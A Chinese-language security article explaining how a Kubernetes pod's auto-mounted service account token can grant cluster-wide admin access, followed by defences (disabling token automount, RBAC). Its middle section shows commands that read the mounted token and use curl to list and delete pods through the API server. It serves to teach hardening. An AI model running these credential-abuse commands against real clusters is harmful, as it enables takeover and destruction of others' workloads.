1 问题描述

当配置不当时,pod的service account可能会成为严重的安全隐患,入侵者利用service account可获取整个集群的最高管理权限。当满足如下条件时,该问题尤其严重:

  • 入侵者已经获得了kubernetes集群中某个pod、某个node的访问权限(如通过ssh或web terminal等方式)。
  • 集群启用Service Account机制,pod中挂载了token。

以下面这个pod为例:

apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: 2019-03-01T08:28:45Z
  generateName: web-548fc46cc8-
  labels:
    app: web
    pod-template-hash: "1049702774"
  name: web-548fc46cc8-b4rjq
  namespace: dmp-test-03
  ownerReferences:
  - apiVersion: extensions/v1beta1
    blockOwnerDeletion: true
    controller: true
    kind: ReplicaSet
    name: web-548fc46cc8
    uid: 40bd5005-3bf0-11e9-9f0f-005056817300
  resourceVersion: "9272864"
  selfLink: /api/v1/namespaces/dmp-test-03/pods/web-548fc46cc8-b4rjq
  uid: 0774feb8-3bfc-11e9-9f0f-005056817300
spec:
  containers:
  - image: 172.30.10.185:15000/dmp/web:latest
... ...
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: default-token-55p8g
      readOnly: true
  imagePullSecrets:
  - name: reg-key
  schedulerName: default-scheduler
  securityContext: {}
  serviceAccount: default
  serviceAccountName: default
  volumes:
  - name: default-token-55p8g
    secret:
      defaultMode: 420
      secretName: default-token-55p8g

可看到,该pod关联了名为default的serviceaccount,并名叫default-token-55p8g的secret挂载到pod中的/var/run/secrets/kubernetes.io/serviceaccount目录下。

再看看service account配置:

kubectl get serviceaccount default -n dmp-test-03 -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  creationTimestamp: 2019-01-29T12:02:25Z
  name: default
  namespace: dmp-test-03
  resourceVersion: "3826"
  selfLink: /api/v1/namespaces/dmp-test-03/serviceaccounts/default
  uid: be35c704-23bd-11e9-8a5c-005056817ed7
secrets:
- name: default-token-55p8g

以及secret配置:

# kubectl get secret default-token-55p8g -n dmp-test-03 -o yaml
apiVersion: v1
data:
  ca.crt: 【base64编码的证书】
  namespace: 【base64编码的namespace】
  token: 【base64编码的token】
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: default
    kubernetes.io/service-account.uid: be35c704-23bd-11e9-8a5c-005056817ed7
  creationTimestamp: 2019-01-29T12:02:26Z
  name: default-token-55p8g
  namespace: dmp-test-03
  resourceVersion: "3825"
  selfLink: /api/v1/namespaces/dmp-test-03/secrets/default-token-55p8g
  uid: be522625-23bd-11e9-8a5c-005056817ed7
type: kubernetes.io/service-account-token

secret中包含了ca.crtnamespacetoken配置。

2 入侵方式

入侵者首先要获得pod的访问,然后再pod中找到serviceaccount信息挂载的目录:

root@web-548fc46cc8-b4rjq:~# cd /var/run/secrets/kubernetes.io/serviceaccount
root@web-548fc46cc8-b4rjq:/var/run/secrets/kubernetes.io/serviceaccount# ls 
ca.crt	namespace  token

该目录下包含master的ca证书token,通过这些信息就可以访问API Server。

为了证明已经获取了集群的最高权限,我们先尝试GET一下pod列表:

root@web-548fc46cc8-b4rjq:~# TOKEN_VALUE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
root@web-548fc46cc8-b4rjq:~# curl -k --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -H  "Authorization: Bearer $TOKEN_VALUE" https://172.21.0.1:443/api/v1/pods
{
  "kind": "PodList",
  "apiVersion": "v1",
  "metadata": {
    "selfLink": "/api/v1/pods",
    "resourceVersion": "10623764"
  },
  "items": [
    {
      "metadata": {
        "name": "aiops-agent-dwd6p",
        "generateName": "aiops-agent-",
        "namespace": "aiops-123",
        "selfLink": "/api/v1/namespaces/aiops-123/pods/aiops-agent-dwd6p",
        "uid": "9e99d486-2463-11e9-9f46-005056817300",
        "resourceVersion": "10091451",
        "creationTimestamp": "2019-01-30T07:49:49Z",

... ...

返回结果已成功获取到了所有的pod信息。

再尝试一下通过给API Server发送请求,删除aiops-agent-dwd6p这个pod:

root@web-548fc46cc8-b4rjq:~# curl -X DELETE -k --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -H  "Authorization: Bearer $TOKEN_VALUE" https://172.21.0.1:443/api/v1/namespaces/aiops-123/pods/aiops-agent-dwd6p
{
  "kind": "Pod",
  "apiVersion": "v1",
  "metadata": {
    "name": "aiops-agent-dwd6p",
    "generateName": "aiops-agent-",
    "namespace": "aiops-123",
    "selfLink": "/api/v1/namespaces/aiops-123/pods/aiops-agent-dwd6p",
    "uid": "9e99d486-2463-11e9-9f46-005056817300",
    "resourceVersion": "10623997",
    "creationTimestamp": "2019-01-30T07:49:49Z",
    "deletionTimestamp": "2019-04-23T09:15:17Z",
    "deletionGracePeriodSeconds": 30,
    "labels": {
      "app": "aiops-agent",
      "controller-revision-hash": "454825724",
      "pod-template-generation": "1"
    },
... ...

稍等一会,再GET一下这个pod,发现已经成功删除了:

root@web-548fc46cc8-b4rjq:~# curl -k --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -H  "Authorization: Bearer $TOKEN_VALUE" https://172.21.0.1:443/api/v1/namespaces/aiops-123/pods/aiops-agent-dwd6p
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {
    
  },
  "status": "Failure",
  "message": "pods \"aiops-agent-dwd6p\" not found",
  "reason": "NotFound",
  "details": {
    "name": "aiops-agent-dwd6p",
    "kind": "pods"
  },
  "code": 404
}

上述操作证明入侵者已经获取到了集群的Admin权限。

除删除pod外,入侵者还可以创建pod、删除node,任何管理员能实现的操作,入侵者都可以做到。

3 防御方法

禁用Service Account是最彻底的方法,但pod再也无法通过Service Account访问API Server,因此并不推荐。

防御方法1:通过配置automountServiceAccountToken,避免将token挂载到pod内

一种是方案尽量避免将token挂载到pod中。例如,业务容器无需访问API Server,因此业务容器不应挂载token。

改动方式参考官方文档configure-service-account

apiVersion: v1
kind: Pod
metadata:
  name: my-pod
spec:
  serviceAccountName: build-robot
  automountServiceAccountToken: false
  ...

防御方法2:通过RBAC限制pod能够访问的API

管理员预先定义出一组通用的Role,根据具体需求进行绑定。可参考 Using RBAC Authorization